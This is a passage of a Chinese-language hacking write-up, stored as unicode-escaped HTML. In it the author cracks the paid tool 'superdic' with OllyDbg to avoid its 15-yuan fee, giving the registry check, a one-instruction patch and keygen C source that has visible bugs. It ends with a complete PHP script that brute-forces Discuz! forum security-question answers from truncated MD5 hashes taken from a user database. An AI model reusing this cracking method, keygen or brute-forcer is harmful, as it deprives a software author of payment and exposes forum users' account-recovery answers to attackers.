           \u4e0d\u662f\u6709\u4e00\u4e2a\u65e9\u671f\u7684bbs\u7684\u7528\u6237\u6570\u636e\u5e93\u561b\uff1f\u6211\u4e8e\u662f\u627e\u5230\u4e86\u5bc6\u7801\u63d0\u793a\u95ee\u9898\u7b54\u6848\u7684\u52a0\u5bc6\u5b57\u6bb5\u4e3a\uff1a2afd4591.\u4ec5\u4ec5\u662f\u4e00\u4e2a8\u4f4d\u7684\u4e32\uff0c\u5230\u5e95\u662f\u4ec0\u4e48\u52a0\u5bc6\u7b97\u6cd5\u5462\u3002<\/span><\/p>\n

           \u6211\u518d\u6b21\u62c5\u5f53\u4e86\u9605\u8bfb\u6e90\u4ee3\u7801\u7684\u82e6\u529b\u5dee\u4e8b\u3002\u5f15\u75282yue\u7684\u4e00\u53e5\u8bdd\uff0c\u628a\u6211\u7d2f\u5f97\u8ddf\u9a86\u9a7c\u4e00\u6837\uff0c\u7ec8\u4e8e\u5f97\u5230\u5982\u4e0b\u7ed3\u679c\u3002<\/span><\/p>\n

        Discuz\u63d0\u793a\u95ee\u9898\u67097\u4e2a\uff0c\u6309\u6570\u5b57\u5e8f\u53f7\u662f1,2,3,4,5,6,7\u3002\u8bbe\u4e3a\u53d8\u91cf$i<\/span><\/p>\n

        \u660e\u6587\u7b54\u6848\u8bbe\u4e3a\u53d8\u91cf$pass.<\/span><\/p>\n

        \u90a3\u4e482afd4591=substr(md5($pass.md5($id)),16,8)<\/span><\/p>\n

        \u8fd9\u6837\u7684\u8bdd\uff0c\u63d0\u793a\u95ee\u9898\u7b54\u6848\u662f\u53ef\u4ee5\u66b4\u529b\u8dd1\u7684\u554a\uff0c\u4f46\u5982\u679c\u4ed6\u7684\u7b54\u6848\u662f\u6c49\u5b57\u6216\u8005\u5f88\u53d8\u6001\u7684\u957f\u5ea6\u7684\u660e\u6587\uff0c\u4e5f\u662f\u5f88\u96be\u7206\u51fa\u6765\u7684\u3002\u6211\u53d1\u73b0\u4ed6\u6700\u540e\u7684hash\u4e32\u4ec5\u4ec5\u662f8\u4f4d\uff0c\u90a3\u4e48\u6709\u5f88\u5927\u7684\u51e0\u7387\u662f\u53ef\u4ee5\u78b0\u649e\u6210\u529f\u7684\u3002<\/span><\/p>\n

        \u4e8e\u662f\u6211\u8ba4\u4e3a\uff1a\u80af\u5b9a\u5b58\u5728\u591a\u4e2a\u660e\u6587\uff0chash\u4e0e2afd4591\u4e00\u6837\uff0c\u4f46\u660e\u6587\u4e0d\u4e00\u6837\uff0c\u6211\u5341\u5206\u80af\u5b9a\u6211\u7684\u5206\u6790\u3002<\/span><\/p>\n

        \u4e0b\u9762\u5c31\u9700\u8981\u5148\u5236\u4f5c\u4e00\u4e2a\u5927\u5b57\u5178\uff0c\u7136\u540e\u5f00\u59cb\u5199\u7a0b\u5e8f\uff0c\u78b0\u649e\u5427\u3002<\/span><\/p>\n

        0<\/span><\/strong>\u00d70d OllyDBG\u8c03\u8bd5superdic\u5e76\u5236\u4f5c\u6ce8\u518c\u673a<\/span><\/strong><\/p>\n

         <\/span><\/strong><\/p>\n

           <\/span><\/strong>\u6211\u53ef\u6ca1\u6709\u90a3\u4e48\u591a\u8010\u6027\u53bb\u505a\u91cd\u590d\u7684\u5de5\u4f5c\uff0c\u6211\u8ba4\u4e3a\u80af\u5b9a\u6709\u5f88\u591a\u4eba\u5199\u8fc7\u5b57\u5178\u751f\u6210\u5de5\u5177\uff0c\u4e0b\u8f7d\u4e00\u4e2a\u7528\u5c31\u662f\u4e86\u3002\u4e8e\u662f\u6211\u4e0b\u8f7d\u5230\u8fd9\u4e2a\u5c0f\u5de5\u5177superdic\uff0c\u8fd8\u633a\u597d\u7528\u7684\u3002\u5982\u56fe19\uff1a<\/span><\/p>\n

        \"\"<\/p>\n

                                \u56fe19<\/span><\/p>\n

        \u56fe19\u544a\u8bc9\u6211\uff0c\u5982\u679c\u8981\u4f7f\u7528\u5b8c\u6574\u529f\u80fd\uff0c\u9700\u8981\u82b1\u6ce8\u518c\u8d3915\u5143\uff0c\u5728\u56fd\u5185\u4f01\u4e1a\u538b\u69a8\u6211\u4eec\u641e\u7f51\u7edc\u5b89\u5168\u7684\u85aa\u6c34\u7684\u80cc\u666f\u4e0b\uff0c\u8fd8\u8ba9\u6211\u638f\u51fa\u8fd915\u5757\u94b1\uff0c\u8c8c\u4f3c\u4e0d\u662f\u592a\u5bb9\u6613\u7684\u3002<\/span><\/p>\n

          \u81ea\u5df1\u64cd\u5200OllyDBG\u8c03\u8bd5\u4e00\u4e0b\uff0c\u770b\u8fd9\u4e2a\u4f5c\u8005\u7528\u4ec0\u4e48\u52a0\u5bc6\u7b97\u6cd5\u4fdd\u62a4\u81ea\u5df1\u7684\u7a0b\u5e8f\u5427\u3002\u5176\u5b9e\u6709\u65f6\u5019\u8c03\u8bd5\u7b97\u6cd5\uff0c\u7834\u89e3\u4f5c\u8005\u7684\u52a0\u5bc6\u601d\u8def\u4e5f\u662f\u4e00\u4e2a\u4e0d\u9519\u7684\u6e38\u620f\uff0c\u4f46\u662f\u8fd9\u6b21\u6211\u6ca1\u6709\u90a3\u4e48\u591a\u7cbe\u529b\u4e86\uff0c\u5982\u679c\u5b83\u80fd\u5728\u4e24\u4e2a\u5c0f\u65f6\u5185\u963b\u6321\u6211\uff0c\u90a3\u6211\u5c31\u4ece\u6211\u7ef5\u8584\u7684\u5b58\u6b3e\u4e2d\u7ed9\u4f5c\u8005\u5949\u732e\u4e00\u56de\u5427\u3002<\/span><\/p>\n

          \u5148\u7528peid\u52a0\u8f7dsuperdic.exe\u5982\u56fe20<\/span><\/p>\n

        \"\"<\/p>\n

                              \u56fe20<\/span><\/p>\n

        \u4ece\u56fe20\u53ef\u4ee5\u770b\u51fa\uff0c\u8f6f\u4ef6\u662fvc++6.0\u5199\u7684\uff0c\u4e14\u6ca1\u6709\u52a0\u58f3\u3002\u770b\u5230\u8fd9\u4e9b\u6211\u5f88\u9050\u610f\uff0c\u770b\u6765\u7701\u4e86\u6211\u4e0d\u5c11\u4e8b\u3002\u518d\u7528ida\u52a0\u8f7d\u51fd\u6570\u5e93\u7b26\u53f7\u5e76\u5bfc\u5165OllyDBG\u540e\uff0c\u5c31\u53ef\u4ee5\u5f00\u59cb\u5206\u6790\u4e86\u3002<\/span><\/p>\n

        F9\u8fd0\u884c\u540e\u6211\u9996\u5148\u7528\u6ce8\u518c\u7801\u7b49\u4e8e123456789\uff0c\u70b9\u6ce8\u518c\uff0c\u5f39\u51fa\u4e00\u4e2a\u5bf9\u8bdd\u6846\uff0c\u63d0\u793a\u201c\u8bf7\u91cd\u542f\u672c\u7a0b\u5e8f\uff0c\u5982\u679c\u60a8\u8f93\u5165\u7684\u6ce8\u518c\u5bc6\u7801\u6b63\u786e\uff0c\u5c06\u80fd\u4f7f\u7528\u672c\u8f6f\u4ef6\u7684\u5168\u90e8\u529f\u80fd\uff0c\u5e76\u53ef\u4eab\u53d7\u540e\u7eed\u7248\u672c\u7684\u514d\u8d39\u5347\u7ea7\u3002\u201d\u90a3\u4e48\u4e00\u822c\u6765\u8bf4\uff0c\u91cd\u542f\u9a8c\u8bc1\u8981\u4e48\u662fkeyfile,\u8981\u4e48\u662f\u5199\u5165\u6ce8\u518c\u8868\u3002\u7ecf\u8fc7\u4e0b\u65ad\u70b9\u6d4b\u8bd5\uff0c\u6211\u53d1\u73b0\u8be5\u7a0b\u5e8f\u4f7f\u7528\u7684\u662f\u6ce8\u518c\u8868\u9a8c\u8bc1\u3002<\/span><\/p>\n

        \u8fd9\u6837\u4e00\u6765\uff0c\u4e0b\u65ad\u5c31\u6709\u601d\u8def\u4e86\u3002<\/span><\/p>\n

        \u7528OllyDBG\u52a0\u8f7dsuperdic.exe\u540e\uff0c\u5728\u547d\u4ee4\u884c\u4e0b\u65adbp RegOpenKeyExA,\u7136\u540e\u6309f9\u8ba9\u5176\u8fd0\u884c\uff0c\u773c\u775b\u540c\u65f6\u89c2\u5bdf\u7740\u53f3\u8fb9\u7684\u5806\u6808\u7a97\u53e3\uff0c\u5728\u7b2c6\u6b21f9\u4e4b\u540e\uff0c\u65ad\u5728\u4e86\u8fd9\u91cc\u5982\u56fe21\uff1a<\/span><\/p>\n

        \"\"<\/p>\n

                                  \u56fe21<\/span><\/p>\n

        \u4ece\u5806\u6808\u53ef\u4ee5\u770b\u5230\u8be5\u8f6f\u4ef6\u6ce8\u518c\u8868\u7684\u4f4d\u7f6e\u662f\uff1aSoftware\\\\EUsoft\\\\superdic<\/span><\/p>\n

        \u7528regedit\u6253\u5f00\u770b\u4e00\u4e0b\u8fd9\u4e2a\u4f4d\u7f6e\u5982\u56fe22\uff1a<\/span><\/p>\n

        \"\"<\/p>\n

                                   \u56fe22<\/span><\/p>\n

        \u56fe22\u4e2d\u770b\u5230\u4e86superdic\u628a\u7528\u6237\u540d\u548c\u6ce8\u518c\u7801\u90fd\u4fdd\u5b58\u5728\u4e86Software\\\\EUsoft\\\\superdic\u8fd9\u4e2a\u4f4d\u7f6e\u3002<\/span><\/p>\n

        \u8fd9\u65f6\u57280x77da7852\u8fd9\u4e2a\u4f4d\u7f6e\uff0c\u6309f2\u53d6\u6d88\u65ad\u70b9\uff0c\u7136\u540ealt+f9\u5373\u53ef\u56de\u5230\u5e94\u7528\u7a0b\u5e8f\u9886\u7a7a\u3002\u8fd9\u6837\u4e00\u8deff8\u53ef\u4ee5\u6765\u5230\u8fd9\u91cc<\/span><\/p>\n

        \/*403AEA*\/  LEA ESI,DWORD PTR DS:[EBX+6FC]<\/span><\/p>\n

        \/*403AF0*\/  PUSH ESI<\/span><\/p>\n

        \/*403AF1*\/  CALL superdic.004027A0<\/span><\/p>\n

        \/*403AF6*\/  ADD ESP,0C<\/span><\/p>\n

        \/*403AF9*\/  MOV ECX,EBX<\/span><\/p>\n

        \/*403AFB*\/  PUSH ESI<\/span><\/p>\n

        \/*403AFC*\/  PUSH4A0<\/span><\/p>\n

        \/*403B01*\/  CALL superdic.00430B3C<\/span><\/p>\n

        \/*403B06*\/  MOV EDX,DWORD PTR DS:[EBX+218]<\/span><\/p>\n

        \/*403B0C*\/  LEA ESI,DWORD PTR DS:[EBX+218]<\/span><\/p>\n

        \/*403B12*\/  PUSH 0FF<\/span><\/p>\n

        \/*403B17*\/  MOV ECX,ESI<\/span><\/p>\n

        \u53ef\u4ee5\u57280x403af0\u5904\u8bbe\u7f6e\u4e00\u4e2a\u65ad\u70b9\uff0c\u63a5\u7740f7\u8fdb\u5165CALL superdic.004027A0\uff0c\u5927\u81f4\u4e00\u770b\u5e94\u8be5\u662f\u7533\u8bf7\u53f7\u7684\u751f\u6210\u65b9\u6cd5,\u4ee3\u7801\u5982\u4e0b\uff1a<\/span><\/p>\n

        004027A0   SUB ESP,0C<\/span><\/p>\n

        004027A3   PUSH ESI<\/span><\/p>\n

        004027A4   PUSH0C<\/span><\/p>\n

        004027A6   CALL superdic.004319E7<\/span><\/p>\n

        004027AB   PUSH0A<\/span><\/p>\n

        004027AD   MOV ESI,EAX<\/span><\/p>\n

        004027AF   CALL superdic.004319E7<\/span><\/p>\n

        004027B4   ADD ESP,8<\/span><\/p>\n

        004027B7   LEA ECX,DWORD PTR SS:[ESP+C]<\/span><\/p>\n

        004027BB   LEA EDX,DWORD PTR SS:[ESP+4]<\/span><\/p>\n

        004027BF   PUSH0A                                  ; \/pFileSystemNameSize =0000000A<\/span><\/p>\n

        004027C1   PUSH EAX                                 ; |pFileSystemNameBuffer<\/span><\/p>\n

        004027C2   LEA EAX,DWORD PTR SS:[ESP+10]            ; |<\/span><\/p>\n

        004027C6   PUSH EAX                                 ; |pFileSystemFlags<\/span><\/p>\n

        004027C7   PUSH ECX                                 ; |pMaxFilenameLength<\/span><\/p>\n

        004027C8   PUSH EDX                                 ; |pVolumeSerialNumber<\/span><\/p>\n

        004027C9   PUSH0C                                  ; |MaxVolumeNameSize = C (12.)<\/span><\/p>\n

        004027CB   PUSH ESI                                 ; |VolumeNameBuffer<\/span><\/p>\n

        004027CC   PUSH superdic.00446148                   ; |RootPathName = \u201cc:\\\u201d<\/span><\/p>\n

        004027D1   CALL DWORD PTR DS:[<&KERNEL32.GetVolumeI>; \\GetVolumeInformationA<\/span><\/p>\n

        004027D7   MOV EAX,DWORD PTR SS:[ESP+4]<\/span><\/p>\n

        004027DB   MOV ESI,DWORD PTR SS:[ESP+14]<\/span><\/p>\n

        004027DF   PUSH EAX<\/span><\/p>\n

        004027E0   PUSH superdic.00446144                   ;  ASCII \u201c%x\u201d<\/span><\/p>\n

        004027E5   PUSH ESI<\/span><\/p>\n

        004027E6   CALL <superdic._sprintf><\/span><\/p>\n

        \u8fd9\u6bb5\u4ee3\u7801\u5927\u6982\u662f\u4f7f\u7528GetVolumeInformationA\u51fd\u6570\u518d\u52a0\u4e0a\u5176\u4ed6\u4e00\u7cfb\u5217\u64cd\u4f5c\u751f\u6210\u7533\u8bf7\u53f7\u7684\u8fc7\u7a0b\uff0c\u56e0\u4e3a\u662f\u9006\u6ce8\u518c\u7b97\u6cd5\uff0c\u8fd9\u4e00\u5757\u6211\u4eec\u4e0d\u5173\u5fc3\uff0c\u53ef\u4ee5\u76f4\u63a5f8\u8fc7\u53bb\u770b\u7ed3\u679c\u5373\u53ef\uff0c\u800c\u4e8b\u5b9e\u4e0a\u4e5f\u786e\u5b9e\u751f\u6210\u4e00\u4e2a\u5b50\u4e32\u662f24578843\uff0c\u4e0e\u56fe19\u4e2d\u7684\u7533\u8bf7\u53f7\u76f8\u4e00\u81f4\u3002<\/span><\/p>\n

        \u6211\u63a5\u7740\u5f80\u4e0b\u8d70\uff0c\u524d\u9762\u4e0d\u5173\u952e\u7684\u5730\u65b9\u5c31\u4e0d\u8ddf\u4e86\uff0c\u4e00\u76f4\u8d70\u5230\u8fd9\u91cc\uff1a<\/span><\/p>\n

        \/*403D48*\/  LEA EAX,DWORD PTR DS:[EBX+6FC]<\/span><\/p>\n

        \/*403D4E*\/  PUSH ECX<\/span><\/p>\n

        \/*403D4F*\/  PUSH EAX<\/span><\/p>\n

        \/*403D50*\/  CALL superdic.004034E0<\/span><\/p>\n

        \u53ef\u4ee5\u770b\u5230\u628a\u7533\u8bf7\u53f7\u538b\u5165\u4e86\u5806\u6808\uff0c\u800c\u51fd\u6570CALL superdic.004034E0\u7ecf\u5224\u65ad\u662f\u5bf9\u7533\u8bf7\u53f7\u505a\u4e86\u4e00\u6b21\u52a0\u5bc6\u8fc7\u7a0b\u3002\u4ece\u5806\u6808\u5904\u770b\u5230\u52a0\u5bc6\u540e\u5bc6\u6587\u662f\uff1a<\/span><\/p>\n

        0012EF6C   0012EFA0  ASCII \u201cBqwITTcm8kG5lcEk\u201d<\/span><\/p>\n

        \u63a5\u7740\u518df8\u914d\u5408f7\u6765\u6162\u6162\u8d70\u3002<\/span><\/p>\n

        \/*403D5B*\/  PUSH ESI<\/span><\/p>\n

        \/*403D5C*\/  CALL superdic.00403630<\/span><\/p>\n

        403d5b\u7684\u4f4d\u7f6e\u662f\u628a\u6ce8\u518c\u7801\u538b\u5165\u5806\u6808\uff0c\u968f\u5373\u5229\u7528CALL superdic.00403630\u505a\u4e86\u4e00\u6b21\u52a0\u5bc6\u8fc7\u7a0b\u3002<\/span><\/p>\n

        \u8fc7\u4e86\u8fd9\u4e2acall\u540e\u628a\u6211\u9884\u8bbe\u7684123456789\u52a0\u5bc6\u6210\u4e86l6345q789.\u770b\u4e0b\u9762\u5806\u6808\u6570\u636e\u3002<\/span><\/p>\n

        0012EF64   0012FCA0  ASCII \u201cl6345q789\u2033<\/span><\/p>\n

        \u968f\u540e\u53c8\u7ecf\u8fc7\u4e00\u4e9b\u5bf9\u7b97\u6cd5\u65e0\u7528\u7684\u4ee3\u7801\u540e\u6765\u5230\u8fd9\u91cc\uff1a<\/span><\/p>\n

        \/*403EBD*\/  MOV DL,BYTE PTR DS:[ESI]<\/span><\/p>\n

        \/*403EBF*\/  MOV CL,BYTE PTR DS:[EDI]<\/span><\/p>\n

        \/*403EC1*\/  MOVAL,DL<\/span><\/p>\n

        \/*403EC3*\/  CMP DL,CL<\/span><\/p>\n

        \/*403EC5*\/  JNZ SHORT superdic.00403EE5<\/span><\/p>\n

        \/*403EC7*\/  TESTAL,AL<\/span><\/p>\n

        \/*403EC9*\/  JE SHORT superdic.00403EE1<\/span><\/p>\n

        \/*403ECB*\/  MOV CL,BYTE PTR DS:[ESI+1]<\/span><\/p>\n

        \/*403ECE*\/  MOV DL,BYTE PTR DS:[EDI+1]<\/span><\/p>\n

        \/*403ED1*\/  MOV AL,CL<\/span><\/p>\n

        \/*403ED3*\/  CMP CL,DL<\/span><\/p>\n

        \/*403ED5*\/  JNZ SHORT superdic.00403EE5<\/span><\/p>\n

        \/*403ED7*\/  ADD ESI,2<\/span><\/p>\n

        \/*403EDA*\/  ADD EDI,2<\/span><\/p>\n

        \/*403EDD*\/  TESTAL,AL<\/span><\/p>\n

        \/*403EDF*\/  JNZ SHORT superdic.00403EBD<\/span><\/p>\n

        \/*403EE1*\/  XOR EAX,EAX<\/span><\/p>\n

        \/*403EE3*\/  JMP SHORT superdic.00403EEA<\/span><\/p>\n

        \/*403EE5*\/  SBB EAX,EAX<\/span><\/p>\n

        \/*403EE7*\/  SBB EAX,-1<\/span><\/p>\n

        \/*403EEA*\/  XOR EDX,EDX<\/span><\/p>\n

        \/*403EEC*\/  PUSH 476<\/span><\/p>\n

        \/*403EF1*\/  TEST EAX,EAX<\/span><\/p>\n

        \/*403EF3*\/  SETE DL<\/span><\/p>\n

        \/*403EF6*\/  MOV ECX,EBX<\/span><\/p>\n

        \/*403EF8*\/  MOV DWORD PTR DS:[EBX+90],EDX<\/span><\/p>\n

        \u8fd9\u6bb5\u4ee3\u7801\u5373\u662f\uff1aBqwITTcm8kG5lcEk\u4e0el6345q789\u7684\u5bf9\u6bd4\u8fc7\u7a0b\uff0c\u5982\u679c\u76f8\u7b49\u5c31\u6ce8\u518c\u6210\u529f\u3002<\/span><\/p>\n

        \u4f5c\u8005\u7684\u5927\u9898\u601d\u8def\u5c31\u662f\u8fd9\u6837\u5427\uff0c\u5982\u679c\u7206\u7834\u7684\u8bdd\u53ea\u9700\u8981\u628a403EF1\u5904\u6539\u4e3a\u4e0b\u9762\u7684\u4ee3\u7801\u5373\u53ef\u3002<\/span><\/p>\n

        \/*403EF1*\/  MOV DL,1<\/span><\/p>\n

        \u4f46\u5206\u6790\u5230\u8fd9\u91cc\uff0c\u7206\u7834\u5df2\u7ecf\u6ee1\u8db3\u4e0d\u4e86\u6211\u7684\u6b32\u671b\u4e86\uff0c\u518d\u8bf4\u79bb\u6211\u7684\u4e24\u4e2a\u5c0f\u65f6\u8fd8\u5dee\u7684\u8fdc\u5462\u3002\u63a5\u7740\u770b\u770b\u4f5c\u8005\u7b97\u6cd5\u7684\u601d\u8def\u5427\u3002<\/span><\/p>\n

        \u65e2\u7136\u6211\u5206\u6790\u7684\u601d\u8def\u5df2\u7ecf\u6e05\u6670\uff0c\u6211\u5728\u8fd9\u91cc\u518d\u7a0d\u4f5c\u6574\u7406\uff1a\u3001<\/span><\/p>\n

        \u8bbeCALL superdic.004034E0\u51fd\u6570=f1()<\/span><\/p>\n

        CALL superdic.00403630\u51fd\u6570=f2()<\/span><\/p>\n

        \u5982\u679cf1(\u7533\u8bf7\u53f7)=f2(\u6ce8\u518c\u7801)   \u90a3\u4e48\u5c31\u6ce8\u518c\u6210\u529f\u3002<\/span><\/p>\n

        \u770b\u6765f2()\u51fd\u6570\u662f\u5173\u952e\u554a\uff0c\u9700\u8981\u5199\u51fa\u5b83\u7684\u9006\u51fd\u6570\uff0cf7\u8fdb\u53bb\u4e00\u770b\uff0c\u8c8c\u4f3c\u8fd8\u5f88\u957f\uff0c\u5982\u56fe23\uff1a<\/span><\/p>\n

        \"\"<\/p>\n

                            \u56fe23<\/span><\/p>\n

        \u4ec5\u4ec5\u56fe23\u7684\u4e00\u9875\uff0c\u8fd8\u663e\u793a\u4e0d\u5b8c\uff0c\u6211\u518d\u6b21\u50cf\u9a86\u9a7c\u4e00\u6837\u7684f7\u8d70\u6765\u8d70\u53bb\uff0c\u518d\u52a0\u4e0aida\u7684f5\uff0c\u7ec8\u4e8e\u5bf9\u8fd9\u6bb5\u4ee3\u7801\u6709\u4e86\u521d\u6b65\u7684\u4e86\u89e3\u3002<\/span><\/p>\n

        \u6700\u7ec8\u6211\u4f7f\u7528\u4e86\u4e00\u79cd\u5de7\u5999\u7684\u529e\u6cd5\u5199\u51fa\u4e86\u8fd9\u6bb5\u4ee3\u7801\u7684\u9006\u51fd\u6570\u5982\u4e0b\u3002<\/span><\/p>\n

        \u6709\u70b9\u57fa\u7840\u7684\u670b\u53cb\u81ea\u5df1\u770b\u4ee3\u7801\u5427\u3002\u6211\u4e5f\u4e0d\u597d\u5728\u8fd9\u91cc\u5360\u7528\u592a\u5927\u7bc7\u5e45\u53bb\u6df1\u6790\u8fd9\u4e2a\u7b97\u6cd5\u7684\u9006\u5411\u8fc7\u7a0b\u3002<\/span><\/p>\n

        void DicDecode(char *str)<\/span><\/p>\n

        {<\/span><\/p>\n

                char end[64]={0};<\/span><\/p>\n

         if (strlen(str) !=16) *str=0;<\/span><\/p>\n

         for(int i=0,j=0;i<16,j<64;i++,j=j+4)<\/span><\/p>\n

         {<\/span><\/p>\n

                 if(str[i]<=\u20199\u2032 && str[i]>=\u20190\u2032)<\/span><\/p>\n

                 {<\/span><\/p>\n

                 end[j]=str[i]-22;<\/span><\/p>\n

                 goto LABEL_a;<\/span><\/p>\n

                 }<\/span><\/p>\n

                 if(str[j]<=\u2019z\u2019 && str[i]>=\u2019a’)<\/span><\/p>\n

                 {<\/span><\/p>\n

                 end[j]=str[i]-61;<\/span><\/p>\n

                 goto LABEL_a;<\/span><\/p>\n

                 }<\/span><\/p>\n

             if(str[i]<=\u2019Z\u2019 && str[i]>=\u2019A’)<\/span><\/p>\n

             {<\/span><\/p>\n

                 end[j]=str[i]-65;<\/span><\/p>\n

                 }<\/span><\/p>\n

        LABEL_a:<\/span><\/p>\n

        ;<\/span><\/p>\n

         }<\/span><\/p>\n

         for(i=0;i<64;i=i+4)<\/span><\/p>\n

         {<\/span><\/p>\n

           if(end[i]<=i)<\/span><\/p>\n

           {<\/span><\/p>\n

           end[i]=i-end[i];<\/span><\/p>\n

           }<\/span><\/p>\n

         }<\/span><\/p>\n

        int v10[16];<\/span><\/p>\n

        for(int k=0,n=0;k<16,n<64;k++,n=n+4)<\/span><\/p>\n

        {<\/span><\/p>\n

        v10[k]=(int)end[n];<\/span><\/p>\n

        }<\/span><\/p>\n

          for(i=0;i<16;i++)<\/span><\/p>\n

          {<\/span><\/p>\n

                  if(v10[i] <= 25 && v10[i]>=0)<\/span><\/p>\n

                  {<\/span><\/p>\n

                         str[i]=v10[i]+ 65;<\/span><\/p>\n

                         goto LABEL_bb;<\/span><\/p>\n

                  }<\/span><\/p>\n

                  if(v10[i] <= 35 && v10[i]>=26)<\/span><\/p>\n

                  {<\/span><\/p>\n

                         str[i]=v10[i]+ 22;<\/span><\/p>\n

                         goto LABEL_bb;<\/span><\/p>\n

                  }<\/span><\/p>\n

                  if(v10[i] < 61 && v10[i]>=36)<\/span><\/p>\n

                  {<\/span><\/p>\n

                         str[i]=v10[i]+ 61;<\/span><\/p>\n

                  }<\/span><\/p>\n

        LABEL_bb:<\/span><\/p>\n

        ;<\/span><\/p>\n

          }<\/span><\/p>\n

          char sigeliu[5]={0\u00d736,0\u00d736,0\u00d736,0\u00d736,0};<\/span><\/p>\n

          strcat(str,sigeliu);<\/span><\/p>\n

        }<\/span><\/p>\n

        \u603b\u4e4b\u6700\u540e\u7d2f\u7684\u8ddf\u9a86\u9a7c\u4f3c\u7684\u7ec8\u4e8e\u8fd8\u662f\u51d1\u51fa\u4e86\u8fd9\u4e2a\u534a\u6210\u54c1\u7684\u6ce8\u518c\u673a\u3002\u5982\u56fe24\uff1a<\/span><\/p>\n

        \"\"<\/p>\n

                               \u56fe24<\/span><\/p>\n

        \u8be5\u6ce8\u518c\u673a\u7684\u7528\u6cd5\u662f\u572800403D5B\u5904\uff0c\u770b\u5806\u6808\u5f97\u5230f1(\u7533\u8bf7\u53f7)= BqwITTcm8kG5lcEk.<\/span><\/p>\n

        \u628a\u8fd9\u4e2a\u503c\u5199\u5165\u5bc6\u6587\u6846\u5185\uff0c\u70b9\u51fb\u89e3\u5bc6\u5c31\u5f97\u5230\u5176\u6ce8\u518c\u7801\u3002\u8fd9\u65f6\u770b\u4e86\u770b\u8868\u5927\u6982\u7528\u4e86110\u5206\u949f\uff0c\u597d\u9669\uff0c\u5dee\u70b9\u635f\u593115\u5757\u94b1\u3002<\/span><\/p>\n

        0<\/span><\/strong>\u00d70e discuz!\u63d0\u793a\u95ee\u9898\u4e5f\u662f\u6d6e\u4e91\uff0c\u78b0\u649eV5<\/span><\/strong><\/p>\n

        \u5b57\u5178\u751f\u6210\u5668\u7834\u89e3\u5b8c\u540e\uff0c\u6211\u5f00\u59cb\u915d\u917f\u5199\u8fd9\u4e2adiscuz! \u63d0\u793a\u95ee\u9898\u7684\u78b0\u649e\u7a0b\u5e8f\u3002\u7531\u4e8ephp\u7684\u6613\u7528\u6027\uff0c\u6211\u9009\u62e9\u7528\u5b83\u6765\u5199\u3002\u8bf4\u767d\u4e86\u4e5f\u5c31\u662f\u4e2a\u7a77\u4e3e\u7684\u8fc7\u7a0b\u3002\u4ee3\u7801\u5982\u4e0b\uff1a<\/span><\/p>\n

        <?<\/span><\/p>\n

        \/*discuz\u63d0\u793a\u95ee\u9898\u7b54\u6848\u66b4\u529b\u7834\u89e3\u7a0b\u5e8f\u3002by kyo327*\/<\/span><\/p>\n

        error_reporting(0);<\/span><\/p>\n

        if ($argc<2) {<\/span><\/p>\n

        print_r(\u2018<\/span><\/p>\n

        \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014<\/span><\/p>\n

        Usage: php \u2018.$argv[0].\u2019 hash<\/span><\/p>\n

        Example:<\/span><\/p>\n

        php \u2018.$argv[0].\u2019 91de8255<\/span><\/p>\n

        \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014<\/span><\/p>\n

        \u2018);<\/span><\/p>\n

        die;<\/span><\/p>\n

        }<\/span><\/p>\n

        $fd=fopen(\u201cpass.dic\u201d,r);<\/span><\/p>\n

        if(!$fd)<\/span><\/p>\n

        {<\/span><\/p>\n

        echo \u201cerror:\u6253\u5f00\u5b57\u5178\u6587\u4ef6\u9519\u8bef\u201d        ;<\/span><\/p>\n

        die;<\/span><\/p>\n

        }<\/span><\/p>\n

        while($buf=fgets($fd))<\/span><\/p>\n

        {<\/span><\/p>\n

             for($i=1;$i<8;$i++)<\/span><\/p>\n

            {<\/span><\/p>\n

            $tmp=substr(md5(trim($buf).md5($i)),16,8);<\/span><\/p>\n

            \/\/echo $tmp;<\/span><\/p>\n

            $conn = strcmp($tmp,$argv[1]);<\/span><\/p>\n

               if($conn==0)<\/span><\/p>\n

               {<\/span><\/p>\n

                echo \u201c\u5bc6\u7801\u7834\u89e3\u6210\u529f\u3002\\n\u201d.\u201d\u63d0\u793a\u95ee\u9898\u7b54\u6848\u4e3a\uff1a\u201d.$buf.\u201d\u63d0\u793a\u7684\u95ee\u9898\u4e3a:\u201d.theask((int)$i).\u201d\\n\u201d;<\/span><\/p>\n

                die;<\/span><\/p>\n

               }<\/span><\/p>\n

            }<\/span><\/p>\n

        }<\/span><\/p>\n

        if($conn!=0)<\/span><\/p>\n

        {<\/span><\/p>\n

          echo \u201c\u6ca1\u6709\u6b63\u786e\u7684\u5bc6\u7801\u201d;<\/span><\/p>\n

        }<\/span><\/p>\n

        fclose($fd);<\/span><\/p>\n

        function theask($var){<\/span><\/p>\n

             if($var==1) {<\/span><\/p>\n

                    return \u201c\u6bcd\u4eb2\u7684\u540d\u5b57\u201d;<\/span><\/p>\n

             }<\/span><\/p>\n

             elseif($var==2) {<\/span><\/p>\n

                    return \u201c\u7237\u7237\u7684\u540d\u5b57\u201d;<\/span><\/p>\n

             }<\/span><\/p>\n

             elseif($var==3) {<\/span><\/p>\n

                    return \u201c\u7236\u4eb2\u51fa\u751f\u7684\u57ce\u5e02\u201d;<\/span><\/p>\n

             }<\/span><\/p>\n

             elseif($var==4) {<\/span><\/p>\n

                    return \u201c\u60a8\u5176\u4e2d\u4e00\u4f4d\u8001\u5e08\u7684\u540d\u5b57\u201d;<\/span><\/p>\n

             }<\/span><\/p>\n

             elseif($var==5) {<\/span><\/p>\n

                    return \u201c\u60a8\u4e2a\u4eba\u8ba1\u7b97\u673a\u7684\u578b\u53f7\u201d;<\/span><\/p>\n

             }<\/span><\/p>\n

             elseif($var==6) {<\/span><\/p>\n

                    return \u201c\u60a8\u6700\u559c\u6b22\u7684\u9910\u9986\u540d\u79f0\u201d;<\/span><\/p>\n

             }<\/span><\/p>\n

             elseif($var==7) {<\/span><\/p>\n

                    return \u201c\u9a7e\u9a76\u6267\u7167\u6700\u540e\u56db\u4f4d\u6570\u5b57\u201d;<\/span><\/p>\n

             }<\/span><\/p>\n

        }<\/span><\/p>\n

        ?><\/span><\/p>\n

